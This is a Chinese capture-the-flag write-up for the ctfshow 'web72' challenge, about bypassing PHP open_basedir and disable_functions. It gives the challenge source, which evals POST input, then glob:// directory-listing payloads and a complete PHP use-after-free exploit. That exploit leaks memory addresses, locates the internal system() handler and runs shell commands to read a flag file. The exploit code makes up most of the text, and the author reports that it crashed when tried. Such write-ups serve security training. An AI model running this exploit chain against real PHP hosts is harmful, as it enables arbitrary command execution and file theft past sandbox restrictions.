web72笔记（POST突破禁用函数_uaf脚本open_basedir绕过）
<?php /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); ini_set('display_errors', 0); // 你们在炫技吗？ if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); } ?> 你要上天吗？
没啥区别啊和上⼀道
诶，根本没有，于是⽤之前的payload看⼀看根⽬录下，然后后⾯加⼀个exit()就⾏
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}exit();
试过了 其他7种都不⾏ 就这个才可以
我想c=require("/flag0.txt");exit();，但是直接报错了。
open_basedir 用于限制PHP脚本的文件系统访问路径。
disable_functions 用于禁用PHP中的特定函数。
open_basedir是php.ini中的一个配置选项，它可将用户访问文件的活动范围限制在指定的区域， 假设open_basedir=/home/wwwroot/home/web1/:/tmp/，那么通过web1访问服务器的 用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。 注意用open_basedir指定的限制实际上是前缀,而不是目录名。 举例来说: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都是 可以访问的。所以如果要将访问限制在仅为指定的目录，请用斜线结束路径名。
命令执行函数绕过
通过命令执行可以直接访问，如system(cat /flag.php); ,但一般命令执行函数会被过滤，这道题就是被过滤了
glob伪协议
glob伪协议筛选目录不受open_basedir的制约。
先查看根目录下的文件 c=var_export(scandir('glob:///*'));exit(); 发现flag0.txt
也可以使用 c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);?> 其实就是执行了一个php语句。
首先glob查找根目录下的所有目录（glob:// /*这样更加清楚些）。然后循环执行并输出给$f，在输出$f。可以经过url传参后直接使用
open_basedir绕过：https://www.cnblogs.com/LLeaves/p/13210005.html
PHP中利用用户定义的析构函数（UAF）进行全局变量覆盖，从而实现读取系统根目录及执行命令的方法。通过`glob`协议读取根目录，然后利用UAF脚本触发命令执行。
c=?><?php
pwn("ls /;cat /flag0.txt");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf('%c',$ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf('%c',$v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
链接：https://blog.csdn.net/Myon5/article/details/140079942
但无法复现，崩溃执行
URL 编码后传入，payload：
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